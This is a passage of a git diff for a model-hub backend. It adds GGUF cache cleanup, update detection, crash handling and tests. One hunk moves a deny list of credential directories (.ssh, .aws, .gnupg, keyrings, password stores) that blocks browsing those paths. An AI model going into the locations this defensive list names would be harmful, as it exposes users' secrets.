-                download_registry.variant_from_key(key),
+        try:
+            finalize_worker_exit(
+                registry,
+                key,
+                proc,
+                hf_token = worker_token,
+                label = label,
+                log_prefix = log_prefix,
+                logger = logger,
+                repo_type = repo_type,
+                repo_id = repo_id,
+                transport = transport,
             )
-        hf_cache_scan.invalidate_hf_cache_scans()
+        except Exception:
+            # finalize_worker_exit is the only thing that clears running/cancelling;
+            # if it raises, force a terminal state so claim() isn't blocked until restart.
+            logger.exception("download watcher crashed for %s", key)
+            # finalize may have raised before reaping the worker; terminate the
+            # still-registered Popen first, else the terminal set_job clears the
+            # repo guard and a live worker would race a retry on the same repo.
+            try:
+                kill_and_reap_process(proc, label = label, logger = logger)
+            except Exception:
+                logger.exception("failed to reap worker after watcher crash for %s", key)
+            try:
+                registry.drop_process(key, proc)
+            except Exception:
+                logger.exception("failed to drop worker after watcher crash for %s", key)
+            try:
+                registry.set_job(key, "error", "download watcher crashed")
+            except Exception:
+                logger.exception("failed to mark %s errored after watcher crash", key)
+        finally:
+            try:
+                if registry.get_job(key).state in ("error", "cancelled"):
+                    download_registry.purge_empty_marker_dir(
+                        repo_type,
+                        repo_id,
+                        download_registry.variant_from_key(key),
+                    )
+            except Exception:
+                logger.exception("post-finalize marker cleanup failed for %s", key)
+            finally:
+                hf_cache_scan.invalidate_hf_cache_scans()
 
     threading.Thread(target = _watch, name = watch_name, daemon = True).start()
     return True
diff --git a/studio/backend/hub/services/models/cache_inventory.py b/studio/backend/hub/services/models/cache_inventory.py
index a961a6ae9d..a27e4860e6 100644
--- a/studio/backend/hub/services/models/cache_inventory.py
+++ b/studio/backend/hub/services/models/cache_inventory.py
@@ -39,8 +39,10 @@ from hub.services.models.common import (
 
 logger = get_logger(__name__)
 
-_repo_size_cache: "OrderedDict[tuple[str, str], tuple[int, frozenset[str], float]]" = OrderedDict()
-_repo_size_neg_cache: "OrderedDict[tuple[str, str], float]" = OrderedDict()
+_repo_size_cache: "OrderedDict[tuple[str, str, str], tuple[int, frozenset[str], float]]" = (
+    OrderedDict()
+)
+_repo_size_neg_cache: "OrderedDict[tuple[str, str, str], float]" = OrderedDict()
 _REPO_SIZE_CACHE_MAX = 256
 _REPO_SIZE_POS_TTL = 60.0
 _REPO_SIZE_NEG_TTL = 60.0
@@ -52,7 +54,7 @@ def get_repo_snapshot_metadata_cached(
     repo_id: str, hf_token: Optional[str] = None
 ) -> tuple[int, frozenset[str]]:
     token_fp = hf_cache_scan.token_fingerprint(hf_token)
-    cache_key = (repo_id, token_fp)
+    cache_key = (repo_id, token_fp, "snapshot")
     with _repo_size_cache_lock:
         cached = _repo_size_cache.get(cache_key)
         if cached is not None:
@@ -119,6 +121,52 @@ def _repo_has_gguf_files(repo_info) -> bool:
     return _repo_gguf_size_bytes(repo_info) > 0
 
 
+def _cached_repo_file_name(file_obj) -> str:
+    file_path = getattr(file_obj, "file_path", None)
+    if file_path:
+        try:
+            path = Path(file_path)
+            parts = path.parts
+            snapshots_idx = max(i for i, part in enumerate(parts) if part == "snapshots")
+            if len(parts) > snapshots_idx + 2:
+                return Path(*parts[snapshots_idx + 2 :]).as_posix()
+        except Exception:
+            pass
+    return str(getattr(file_obj, "file_name", "")).replace("\\", "/")
+
+
+def _repo_gguf_blob_map(repo_info, *, include_companions: bool = False) -> dict[str, set[str]]:
+    """Map each cached GGUF file's repo-relative name to the SET of its local
+    blob hashes across all cached revisions.
+
+    HF names each local cache blob FILE by the file's etag (lfs.sha256 else
+    blob_id), so a local file's blob hash == ``Path(blob_path).name``. An updated
+    repo keeps BOTH the old and new revision snapshots until HF garbage-collects
+    them, so the same file resolves to several blobs; collecting them ALL (not
+    just the first one seen, since ``repo_info.revisions`` is a frozenset and
+    yields them in arbitrary order) lets the remote-vs-local diff treat the file
+    as current when the remote (``main``) blob is present in any cached revision.
+    Mirrors the ``cached_blob_ids`` membership test in routes/models.py.
+
+    By default this keeps the historical MAIN-GGUF-only behavior. GGUF update
+    checks opt into companions so a shared mmproj/MTP blob can be compared too.
+    """
+    blob_map: dict[str, set[str]] = {}
+    for revision in repo_info.revisions:
+        for f in revision.files:
+            if include_companions:
+                if not _is_gguf_filename(f.file_name):
+                    continue
+            elif not _is_main_gguf_filename(f.file_name):
+                continue
+            blob_path = getattr(f, "blob_path", None)
+            if not blob_path:
+                continue
+            name = _cached_repo_file_name(f)
+            blob_map.setdefault(name, set()).add(Path(blob_path).name)
+    return blob_map
+
+
 def _prefer_cache_row(candidate: dict, existing: Optional[dict]) -> bool:
     if existing is None:
         return True
diff --git a/studio/backend/hub/services/models/deletion.py b/studio/backend/hub/services/models/deletion.py
index ecc9f8426d..e7c54fc75b 100644
--- a/studio/backend/hub/services/models/deletion.py
+++ b/studio/backend/hub/services/models/deletion.py
@@ -6,6 +6,7 @@
 from __future__ import annotations
 
 import asyncio
+import errno
 from pathlib import Path
 from typing import Optional
 
@@ -15,7 +16,7 @@ from loggers import get_logger
 from hub.utils import download_manifest
 from hub.utils import download_registry
 from hub.utils import inventory_scan as hf_cache_scan
-from hub.utils.gguf import extract_quant_label
+from hub.utils.gguf import extract_quant_label, extract_quant_token
 from hub.utils.hf_cache_state import (
     INCOMPLETE_SUFFIX,
     purge_partial_repo,
@@ -106,6 +107,76 @@ def _has_remaining_main_gguf(target_repo) -> bool:
     )
 
 
+def _remove_empty_variant_dirs(target_repos: list, variant: str) -> tuple[int, list[str]]:
+    """Remove now-empty ``snapshots/<rev>/<quant>/`` folders for *variant* (the
+    quant label names the folder); only empty dirs go, so siblings are safe.
+    Returns (count removed, removal failures other than a concurrent refill)."""
+    variant_key = (extract_quant_token(variant) or variant).lower()
+    removed = 0
+    failures: list[str] = []
+    for target_repo in target_repos:
+        repo_path = getattr(target_repo, "repo_path", None)
+        if not repo_path:
+            continue
+        snapshots = Path(repo_path) / "snapshots"
+        if not snapshots.is_dir():
+            continue
+        try:
+            snap_dirs = [s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink()]
+        except OSError:
+            continue
+        for snap in snap_dirs:
+            try:
+                subs = list(snap.iterdir())
+            except OSError:
+                continue
+            for sub in subs:
+                try:
+                    if sub.is_symlink() or not sub.is_dir():
+                        continue
+                    folder_quant = extract_quant_token(sub.name)
+                    matches = (
+                        folder_quant is not None and folder_quant.lower() == variant_key
+                    ) or sub.name.lower() == variant.lower()
+                    if not matches or any(sub.iterdir()):
+                        continue
+                except OSError:
+                    continue
+                try:
+                    sub.rmdir()
+                    removed += 1
+                except OSError as e:
+                    # A concurrent download refilling the dir (ENOTEMPTY) is not a
+                    # failure; a read-only cache or locked dir is, so surface it.
+                    if e.errno != errno.ENOTEMPTY:
+                        failures.append(f"{sub.name}: {e}")
+    return removed, failures
+
+
+def _remove_empty_snapshot_dirs(target_repos: list) -> tuple[int, list[str]]:
+    removed = 0
+    failures: list[str] = []
+    for target_repo in target_repos:
+        repo_path = getattr(target_repo, "repo_path", None)
+        if not repo_path:
+            continue
+        snapshots = Path(repo_path) / "snapshots"
+        if not snapshots.is_dir():
+            continue
+        try:
+            snap_dirs = [s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink()]
+        except OSError:
+            continue
+        for snap in snap_dirs:
+            try:
+                snap.rmdir()
+                removed += 1
+            except OSError as e:
+                if e.errno != errno.ENOTEMPTY:
+                    failures.append(f"{snap.name}: {e}")
+    return removed, failures
+
+
 def _delete_gguf_variant_from_repos(
     repo_id: str,
     variant: str,
@@ -206,11 +277,26 @@ def _delete_gguf_variant_from_repos(
         )
 
     state_purged = download_manifest.purge_state("model", repo_id, variant)
+    # Reclaim the empty quant folder so it stops 404ing on delete.
+    removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant)
+    removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos)
+    removed_dirs += removed_snap_dirs
+    dir_failures.extend(snap_dir_failures)
+    if dir_failures:
+        raise HTTPException(
+            status_code = 409,
+            detail = (
+                f"Couldn't fully delete {variant} for {repo_id}: "
+                f"{len(dir_failures)} folder(s) could not be removed "
+                "(read-only cache or in use). Try again."
+            ),
+        )
     if (
         removed_snapshots == 0
         and deleted_blobs == 0
         and incomplete_result.deleted == 0
         and not state_purged
+        and removed_dirs == 0
     ):
         raise HTTPException(
             status_code = 404,
@@ -225,6 +311,181 @@ def _delete_gguf_variant_from_repos(
     return {"status": "deleted", "repo_id": repo_id, "variant": variant}
 
 
+def reclaim_replaced_gguf_variant(
+    repo_id: str,
+    variant: str,
+    keep_main_hashes: frozenset[str],
+    hf_token: Optional[str] = None,
+) -> dict:
+    """Prune stale main-GGUF files for a variant after a replacement verified.
+
+    This is intentionally narrower than user-driven delete: it removes only
+    same-variant main files whose local blob hash is not in *keep_main_hashes*,
+    then unlinks their blobs only if no remaining snapshot references them.
+    Shared companions and sibling variants are left intact.
+    """
+    if not keep_main_hashes:
+        logger.info(
+            "Skipping stale GGUF reclaim for %s [%s]: current main hashes unresolved",
+            repo_id,
+            variant,
+        )
+        return {
+            "status": "skipped",
+            "repo_id": repo_id,
+            "variant": variant,
+            "reason": "unresolved_hashes",
+        }
+    if not _is_valid_repo_id(repo_id) or not _is_valid_gguf_variant(variant):
+        return {
+            "status": "skipped",
+            "repo_id": repo_id,
+            "variant": variant,
+            "reason": "invalid_target",
+        }
+
+    failures: list[str] = []
+    removed_snapshots = 0
+    deleted_blobs = 0
+    deleted_bytes = 0
+    variant_key = variant.lower()
+
+    try:
+        cache_scans = cache_inventory.all_hf_cache_scans()
+    except Exception as e:
+        logger.warning(
+            "Skipping stale GGUF reclaim for %s [%s]: cache scan failed: %s",
+            repo_id,
+            variant,
+            download_registry.scrub_secrets(str(e), hf_token = hf_token),
+        )
+        return {
+            "status": "skipped",
+            "repo_id": repo_id,
+            "variant": variant,
+            "reason": "scan_failed",
+        }
+
+    candidate_repos = [
+        repo_info
+        for hf_cache in cache_scans
+        for repo_info in hf_cache.repos
+        if str(getattr(repo_info, "repo_type", "")) == "model"
+        and str(getattr(repo_info, "repo_id", "")).lower() == repo_id.lower()
+    ]
+    try:
+        matched_repo_ids = resolve_destructive_repo_ids(
+            repo_id,
+            [str(getattr(repo_info, "repo_id", "")) for repo_info in candidate_repos],
+            noun = "models",
+        )
+    except HTTPException as e:
+        detail = getattr(e, "detail", str(e))
+        logger.warning(
+            "Skipping stale GGUF reclaim for %s [%s]: %s",
+            repo_id,
+            variant,
+            download_registry.scrub_secrets(str(detail), hf_token = hf_token),
+        )
+        return {
+            "status": "skipped",
+            "repo_id": repo_id,
+            "variant": variant,
+            "reason": "ambiguous_repo",
+        }
+    target_repos = [
+        repo_info
+        for repo_info in candidate_repos
+        if str(getattr(repo_info, "repo_id", "")) in matched_repo_ids
+    ]
+
+    for target_repo in target_repos:
+        repo_dir = Path(target_repo.repo_path) if getattr(target_repo, "repo_path", None) else None
+        stale_matches: list[tuple[Path, Optional[Path], str]] = []
+        matches = _repo_file_matches(
+            target_repo,
+            lambda name: _is_main_gguf_filename(name)
+            and extract_quant_label(name).lower() == variant_key,
+        )
+        for snap, blob, name in matches:
+            blob_hash = _blob_hash_from_path(blob) if blob is not None else None
+            if blob_hash is None or blob_hash in keep_main_hashes:
+                continue
+            stale_matches.append((snap, blob, name))
+
+        if not stale_matches:
+            continue
+
+        for snap, _blob, name in stale_matches:
+            try:
+                if _path_exists_or_symlink(snap):
+                    snap.unlink()
+                    removed_snapshots += 1
+            except OSError as e:
+                failures.append(f"{name}: {e}")
+
+        ref_counts = _snapshot_blob_reference_counts(repo_dir)
+        seen_blobs: set[Path] = set()
+        for _snap, blob, name in stale_matches:
+            if blob is None:
+                continue
+            try:
+                blob_key = blob.resolve()
+            except OSError:
+                blob_key = blob
+            if blob_key in seen_blobs:
+                continue
+            seen_blobs.add(blob_key)
+            if ref_counts.get(blob_key, 0) > 0:
+                continue
+            try:
+                if blob.exists():
+                    deleted_bytes += blob.stat().st_size
+                    blob.unlink()
+                    deleted_blobs += 1
+            except OSError as e:
+                failures.append(f"{name}: {e}")
+
+    removed_dirs = 0
+    dir_failures: list[str] = []
+    if target_repos:
+        removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant)
+        removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos)
+        removed_dirs += removed_snap_dirs
+        dir_failures.extend(snap_dir_failures)
+        failures.extend(dir_failures)
+
+    if failures:
+        logger.warning(
+            "Stale GGUF reclaim for %s [%s] left %d failure(s): %s",
+            repo_id,
+            variant,
+            len(failures),
+            "; ".join(failures[:3]),
+        )
+
+    if removed_snapshots or deleted_blobs or removed_dirs:
+        cache_inventory.invalidate_hf_cache_scans()
+        logger.info(
+            "Reclaimed stale GGUF %s [%s]: snapshots=%d blobs=%d dirs=%d freed=%.1f MB",
+            repo_id,
+            variant,
+            removed_snapshots,
+            deleted_blobs,
+            removed_dirs,
+            deleted_bytes / (1024 * 1024),
+        )
+
+    return {
+        "status": "reclaimed",
+        "repo_id": repo_id,
+        "variant": variant,
+        "removed_snapshots": removed_snapshots,
+        "deleted_blobs": deleted_blobs,
+        "removed_dirs": removed_dirs,
+    }
+
+
 def _loaded_id_matches_repo(loaded_id: str, repo_id: str) -> bool:
     """True when *loaded_id* is *repo_id* or a file within it; ``/``-boundary aware so ``org/model`` doesn't match sibling ``org/model-v2``."""
     rid = repo_id.lower()
diff --git a/studio/backend/hub/services/models/folder_browser.py b/studio/backend/hub/services/models/folder_browser.py
index 9b0b46509b..eb137127fb 100644
--- a/studio/backend/hub/services/models/folder_browser.py
+++ b/studio/backend/hub/services/models/folder_browser.py
@@ -27,6 +27,7 @@ from hub.utils.paths import (
     studio_root,
     well_known_model_dirs,
 )
+from utils.paths.external_media import linux_run_media_mount_roots
 from hub.services.models.common import _safe_is_dir
 from hub.services.models.local_inventory import _resolve_hf_cache_dir
 
@@ -175,6 +176,8 @@ def _build_browse_allowlist() -> list[Path]:
             candidates.append(resolved)
 
     _add(Path.home())
+    for p in linux_run_media_mount_roots():
+        _add(p)
     _add(_resolve_hf_cache_dir())
     try:
         _add(hf_default_cache_dir())
@@ -346,6 +349,11 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
                 )
             current = resolved_child
 
+        if contains_sensitive_path_component(str(current)):
+            raise HTTPException(
+                status_code = 403,
+                detail = "Credential or configuration directories are not browseable.",
+            )
         if not current.is_dir():
             raise HTTPException(
                 status_code = 400,
@@ -485,6 +493,8 @@ def browse_folders_response(
 
     # Home first as the safe fallback.
     _add_sug(Path.home())
+    for p in linux_run_media_mount_roots():
+        _add_sug(p)
     # The HF cache root in use (honors HF_HOME / HF_HUB_CACHE), then the default.
     try:
         _add_sug(_resolve_hf_cache_dir())
diff --git a/studio/backend/hub/services/models/gguf_variants.py b/studio/backend/hub/services/models/gguf_variants.py
index 74c3ad6ce2..0147bba19a 100644
--- a/studio/backend/hub/services/models/gguf_variants.py
+++ b/studio/backend/hub/services/models/gguf_variants.py
@@ -27,6 +27,7 @@ from hub.utils.gguf import (
     extract_quant_label,
     iter_hf_cache_snapshots,
     is_big_endian_gguf_path,
+    list_empty_gguf_variant_dirs,
     list_gguf_variants,
     list_gguf_variants_from_hf_cache,
     list_local_gguf_variants,
@@ -290,6 +291,75 @@ def _partial_transport_for_variant(repo_id: str, variant: str) -> Optional[str]:
     return hf_cache_scan.partial_transport_for("model", repo_id, variant)
 
 
+def _local_main_gguf_blobs_by_quant(repo_id: str) -> dict[str, dict[str, set[str]]]:
+    """Map quant -> repo-relative expected GGUF filename -> cached blob hashes.
+
+    Shared companions are copied into each main-quant bucket so update checks can
+    detect mmproj/MTP-only upstream changes without a separate remote call.
+    """
+    result: dict[str, dict[str, set[str]]] = {}
+    companion_blobs: dict[str, set[str]] = {}
+    try:
+        from hub.services.models import cache_inventory
+        scans = cache_inventory.all_hf_cache_scans()
+    except Exception as e:
+        logger.warning("Failed to scan local GGUF blobs for %s: %s", repo_id, e)
+        return result
+
+    target_lower = repo_id.lower()
+    for hf_cache in scans:
+        for repo_info in hf_cache.repos:
+            if str(getattr(repo_info, "repo_type", "")) != "model":
+                continue
+            if str(getattr(repo_info, "repo_id", "")).lower() != target_lower:
+                continue
+            for path, hashes in cache_inventory._repo_gguf_blob_map(
+                repo_info,
+                include_companions = True,
+            ).items():
+                normalized = str(path).replace("\\", "/")
+                if not hashes:
+                    continue
+                if _is_mmproj_filename(normalized) or _is_mtp_drafter_path(normalized):
+                    companion_blobs.setdefault(normalized, set()).update(
+                        str(blob) for blob in hashes if blob
+                    )
+                    continue
+                quant = extract_quant_label(normalized).lower()
+                if is_big_endian_gguf_path(normalized, quant):
+                    continue
+                bucket = result.setdefault(quant, {}).setdefault(normalized, set())
+                bucket.update(str(blob) for blob in hashes if blob)
+    if companion_blobs:
+        for local_blobs in result.values():
+            for path, hashes in companion_blobs.items():
+                local_blobs.setdefault(path, set()).update(hashes)
+    return result
+
+
+def _variant_update_available_from_requirement(
+    local_blobs: dict[str, set[str]], requirement: Optional[_GgufVariantRequirement], variant: str
+) -> bool:
+    if requirement is None or not local_blobs:
+        return False
+    local_by_posix = {path.replace("\\", "/"): blobs for path, blobs in local_blobs.items()}
+    for expected in requirement.expected_files:
+        path = str(expected.path).replace("\\", "/")
+        if not (
+            is_main_gguf_variant_path(path, variant)
+            or _is_mmproj_filename(path)
+            or _is_mtp_drafter_path(path)
+        ):
+            continue
+        remote_blob = expected.sha256
+        if not remote_blob:
+            continue
+        local_set = local_by_posix.get(path)
+        if not local_set or remote_blob not in local_set:
+            return True
+    return False
+
+
 def delete_variant_incomplete_blobs_result(
     repo_id: str,
     variant: str,
@@ -334,6 +404,32 @@ def delete_variant_incomplete_blobs_result(
     return VariantIncompleteDeleteResult(deleted = deleted, unresolved = False)
 
 
+def _mark_empty_dir_cleanables(
+    repo_id: str, response: GgufVariantsResponse
+) -> GgufVariantsResponse:
+    """Surface empty leftover ``<quant>/`` folders (interrupted downloads) as
+    partial so the UI can delete them -- on local/offline paths too, not just a
+    remote listing. A listed quant is flipped to partial; an unlisted one is
+    appended as a zero-byte cleanable entry."""
+    try:
+        empty_labels = list_empty_gguf_variant_dirs(repo_id)
+    except Exception as e:
+        logger.warning(f"Failed to scan empty GGUF variant folders for {repo_id}: {e}")
+        return response
+    if not empty_labels:
+        return response
+    empty_by_key = {label.lower(): label for label in empty_labels}
+    variants = list(response.variants)
+    listed = {v.quant.lower() for v in variants}
+    for i, v in enumerate(variants):
+        if v.quant.lower() in empty_by_key and not v.downloaded and not v.partial:
+            variants[i] = v.model_copy(update = {"partial": True})
+    for key, label in sorted(empty_by_key.items()):
+        if key not in listed:
+            variants.append(GgufVariantDetail(filename = f"{label}.gguf", quant = label, partial = True))
+    return response.model_copy(update = {"variants": variants})
+
+
 async def get_gguf_variants_response(
     repo_id: str,
     prefer_local_cache: bool = False,
@@ -630,9 +726,12 @@ async def get_gguf_variants_response(
                         _partial_transport_for_variant(repo_id, variant.quant),
                     )
 
+        local_blobs_by_quant = _local_main_gguf_blobs_by_quant(repo_id)
+
         def _variant_detail(v) -> GgufVariantDetail:
             is_partial = v.quant in partial_quants
             requirement = requirements_by_quant.get(v.quant.lower())
+            downloaded = _is_fully_downloaded(v) and not is_partial
             return GgufVariantDetail(
                 filename = v.filename,
                 quant = v.quant,
@@ -641,7 +740,13 @@ async def get_gguf_variants_response(
                 download_size_bytes = (
                     requirement.download_size_bytes if requirement is not None else v.size_bytes
                 ),
-                downloaded = _is_fully_downloaded(v) and not is_partial,
+                downloaded = downloaded,
+                update_available = downloaded
+                and _variant_update_available_from_requirement(
+                    local_blobs_by_quant.get(v.quant.lower(), {}),
+                    requirement,
+                    v.quant,
+                ),
                 partial = is_partial,
                 partial_transport = (partial_quant_transports.get(v.quant) if is_partial else None),
             )
@@ -653,8 +758,28 @@ async def get_gguf_variants_response(
             default_variant = default_variant,
         )
 
+    def _compute_with_cleanables() -> GgufVariantsResponse:
+        skip = is_local_path(repo_id) or not _is_valid_repo_id(repo_id)
+        try:
+            response = _compute()
+        except Exception:
+            # Offline / metadata fetch failed with only an empty leftover
+            # <quant>/ folder cached: still surface it so the UI can delete it,
+            # otherwise re-raise the original error.
+            if skip:
+                raise
+            enriched = _mark_empty_dir_cleanables(
+                repo_id, GgufVariantsResponse(repo_id = repo_id, variants = [])
+            )
+            if enriched.variants:
+                return enriched
+            raise
+        if skip:
+            return response
+        return _mark_empty_dir_cleanables(repo_id, response)
+
     try:
-        return await asyncio.to_thread(_compute)
+        return await asyncio.to_thread(_compute_with_cleanables)
     except HTTPException:
         raise
     except Exception as e:
diff --git a/studio/backend/hub/storage/scan_folders.py b/studio/backend/hub/storage/scan_folders.py
index 85f515da00..fdb15c7c3c 100644
--- a/studio/backend/hub/storage/scan_folders.py
+++ b/studio/backend/hub/storage/scan_folders.py
@@ -16,37 +16,14 @@ from datetime import datetime, timezone
 
 from storage.studio_db import get_connection
 from hub.utils.paths import normalize_path
+from utils.paths.external_media import is_linux_run_media_path
+from utils.paths.sensitive import (
+    contains_sensitive_path_component as _shared_contains_sensitive_path_component,
+)
 
 
 _schema_lock = threading.Lock()
 _schema_ready = False
-_SENSITIVE_PATH_COMPONENTS = {
-    ".aws",
-    ".azure",
-    ".config",
-    ".docker",
-    ".gcloud",
-    ".gnupg",
-    ".huggingface",
-    ".kaggle",
-    ".kube",
-    ".modelscope",
-    ".ngc",
-    ".local",
-    ".mozilla",
-    ".pki",
-    ".thunderbird",
-    ".ssh",
-    ".1password",
-    ".bitwarden",
-    ".password-store",
-    "1password",
-    "bitwarden",
-    "keychains",
-    "keyrings",
-    "mozilla",
-    "thunderbird",
-}
 
 
 def _denied_path_prefixes() -> list[str]:
@@ -76,8 +53,7 @@ def _denied_path_prefixes() -> list[str]:
 
 
 def _contains_sensitive_path_component(path: str) -> bool:
-    parts = os.path.normpath(path).split(os.sep)
-    return any(part.lower() in _SENSITIVE_PATH_COMPONENTS for part in parts)
+    return _shared_contains_sensitive_path_component(path)
 
 
 def contains_sensitive_path_component(path: str) -> bool:
@@ -142,6 +118,8 @@ def add_scan_folder(path: str) -> dict:
     check = os.path.normcase(normalized) if is_win else normalized
     for prefix in _denied_path_prefixes():
         if check == prefix or check.startswith(prefix + os.sep):
+            if prefix == "/run" and is_linux_run_media_path(check):
+                continue
             raise ValueError(f"Path under {prefix} is not allowed")
 
     conn = get_connection()
diff --git a/studio/backend/hub/tests/test_empty_variant_folder.py b/studio/backend/hub/tests/test_empty_variant_folder.py
new file mode 100644
index 0000000000..33bf6c6819
--- /dev/null
+++ b/studio/backend/hub/tests/test_empty_variant_folder.py
@@ -0,0 +1,166 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Cleanup of empty leftover quant folders from interrupted split downloads."""
+
+import errno
+from pathlib import Path
+from types import SimpleNamespace
+
+from hub.schemas.inventory import GgufVariantDetail, GgufVariantsResponse
+from hub.services.models import deletion, gguf_variants
+from hub.utils import gguf
+
+
+def _make_snapshot(root: Path) -> Path:
+    snap = root / "snapshots" / "rev0"
+    (snap / "UD-IQ1_M").mkdir(parents = True)
+    (snap / "UD-IQ1_M" / "GLM-UD-IQ1_M-00001-of-00002.gguf").write_bytes(b"x")
+    (snap / "UD-IQ1_M" / "GLM-UD-IQ1_M-00002-of-00002.gguf").write_bytes(b"y")
+    (snap / "UD-IQ1_S").mkdir(parents = True)  # empty leftover
+    return snap
+
+
+def test_list_empty_gguf_variant_dirs_finds_empty_leftover(tmp_path, monkeypatch):
+    snap = _make_snapshot(tmp_path)
+    monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap]))
+    assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == {"UD-IQ1_S"}
+
+
+def test_list_empty_excludes_quant_with_files_in_another_snapshot(tmp_path, monkeypatch):
+    snap1 = tmp_path / "s1" / "snapshots" / "rev"
+    (snap1 / "UD-IQ1_S").mkdir(parents = True)  # empty here
+    snap2 = tmp_path / "s2" / "snapshots" / "rev"
+    (snap2 / "UD-IQ1_S").mkdir(parents = True)
+    (snap2 / "UD-IQ1_S" / "m-UD-IQ1_S-00001-of-00001.gguf").write_bytes(b"z")  # has shards
+    monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap1, snap2]))
+    assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == set()
+
+
+def test_list_empty_ignores_non_quant_dirs(tmp_path, monkeypatch):
+    snap = tmp_path / "snapshots" / "rev"
+    (snap / "not-a-quant").mkdir(parents = True)  # empty but not a quant label
+    monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap]))
+    assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == set()
+
+
+def test_remove_empty_variant_dirs_removes_only_empty_match(tmp_path):
+    snap = _make_snapshot(tmp_path)
+    repo = SimpleNamespace(repo_path = str(tmp_path))
+    removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S")
+    assert removed == 1
+    assert failures == []
+    assert not (snap / "UD-IQ1_S").exists()
+    assert (snap / "UD-IQ1_M").is_dir()
+
+
+def test_remove_empty_variant_dirs_never_touches_populated_folder(tmp_path):
+    snap = _make_snapshot(tmp_path)
+    repo = SimpleNamespace(repo_path = str(tmp_path))
+    removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_M")
+    assert removed == 0
+    assert failures == []
+    assert len(list((snap / "UD-IQ1_M").iterdir())) == 2
+
+
+def test_remove_empty_variant_dirs_surfaces_real_failure(tmp_path, monkeypatch):
+    _make_snapshot(tmp_path)
+    repo = SimpleNamespace(repo_path = str(tmp_path))
+
+    def _denied(self):
+        raise OSError(errno.EACCES, "permission denied")
+
+    monkeypatch.setattr(Path, "rmdir", _denied)
+    removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S")
+    assert removed == 0
+    assert len(failures) == 1
+
+
+def test_remove_empty_variant_dirs_ignores_concurrent_refill(tmp_path, monkeypatch):
+    _make_snapshot(tmp_path)
+    repo = SimpleNamespace(repo_path = str(tmp_path))
+
+    def _refilled(self):
+        raise OSError(errno.ENOTEMPTY, "directory not empty")
+
+    monkeypatch.setattr(Path, "rmdir", _refilled)
+    removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S")
+    assert removed == 0
+    assert failures == []
+
+
+def test_mark_empty_dir_cleanables_appends_unlisted(monkeypatch):
+    monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"})
+    resp = GgufVariantsResponse(
+        repo_id = "org/Repo-GGUF",
+        variants = [GgufVariantDetail(filename = "m-UD-IQ1_M.gguf", quant = "UD-IQ1_M", downloaded = True)],
+    )
+    out = gguf_variants._mark_empty_dir_cleanables("org/Repo-GGUF", resp)
+    by_q = {v.quant: v for v in out.variants}
+    assert by_q["UD-IQ1_M"].downloaded is True
+    assert by_q["UD-IQ1_S"].partial is True and by_q["UD-IQ1_S"].downloaded is False
+
+
+def test_mark_empty_dir_cleanables_flips_listed_variant(monkeypatch):
+    monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"})
+    resp = GgufVariantsResponse(
+        repo_id = "org/Repo-GGUF",
+        variants = [GgufVariantDetail(filename = "m-UD-IQ1_S.gguf", quant = "UD-IQ1_S")],
+    )
+    out = gguf_variants._mark_empty_dir_cleanables("org/Repo-GGUF", resp)
+    assert len(out.variants) == 1
+    assert out.variants[0].partial is True
+
+
+def _force_compute_to_raise(monkeypatch):
+    # Drive _compute() down its remote path, fail metadata, and have both cache
+    # fallbacks miss so the original error re-raises.
+    def _boom(*a, **k):
+        raise RuntimeError("offline")
+
+    monkeypatch.setattr(gguf_variants, "list_gguf_variants", _boom, raising = False)
+    monkeypatch.setattr(
+        gguf_variants, "list_gguf_variants_from_hf_cache", lambda repo_id: None, raising = False
+    )
+    monkeypatch.setattr(
+        gguf_variants, "list_partial_gguf_variants_from_state", lambda repo_id: None, raising = False
+    )
+
+
+def test_get_variants_surfaces_cleanable_when_metadata_fails(monkeypatch):
+    # Offline / model_info fails and only an empty leftover folder is cached:
+    # the cleanable must still be returned instead of the error propagating.
+    import asyncio
+
+    _force_compute_to_raise(monkeypatch)
+    monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"})
+
+    resp = asyncio.run(
+        gguf_variants.get_gguf_variants_response(
+            "org/Repo-GGUF", prefer_local_cache = False, hf_token = None
+        )
+    )
+    by_q = {v.quant: v for v in resp.variants}
+    assert "UD-IQ1_S" in by_q
+    assert by_q["UD-IQ1_S"].partial is True and by_q["UD-IQ1_S"].downloaded is False
+
+
+def test_get_variants_reraises_when_no_cleanable(monkeypatch):
+    # Offline with nothing cleanable: original error must propagate (as HTTP).
+    import asyncio
+
+    from fastapi import HTTPException
+
+    _force_compute_to_raise(monkeypatch)
+    monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: set())
+
+    try:
+        asyncio.run(
+            gguf_variants.get_gguf_variants_response(
+                "org/Repo-GGUF", prefer_local_cache = False, hf_token = None
+            )
+        )
+        raised = False
+    except (HTTPException, RuntimeError):
+        raised = True
+    assert raised
diff --git a/studio/backend/hub/tests/test_model_services.py b/studio/backend/hub/tests/test_model_services.py
index 1eb7042e4e..f05d8359ec 100644
--- a/studio/backend/hub/tests/test_model_services.py
+++ b/studio/backend/hub/tests/test_model_services.py
@@ -168,6 +168,16 @@ def test_resolve_browse_target_rejects_sensitive_dir(tmp_path):
